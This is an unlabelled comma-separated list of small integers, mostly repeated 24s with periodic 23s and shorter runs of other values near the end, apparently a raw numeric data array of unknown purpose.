24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 39, 39, 39, 39, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 39, 39, 39, 39, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 39, 39, 39, 39, 39, 13, 21, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 0, 1, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 10, 12, 39, 39, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 8, 1, 1, 8, 8, 6, 6, 0, 1, 15, 39, 39, 39, 39, 39, 39, 21, 21, 21, 21, 21, 21, 21, 39, 39, 39, 39, 39, 39, 39, 39, 39, 14, 14, 14, 14, 14, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 14, 14, 0, 1, 14, 14, 14, 14, 14, 14, 14, 1, 14, 1, 39, 5, 5, 6, 6, 14, 0, 1, 0, 1, 0, 1, 14, 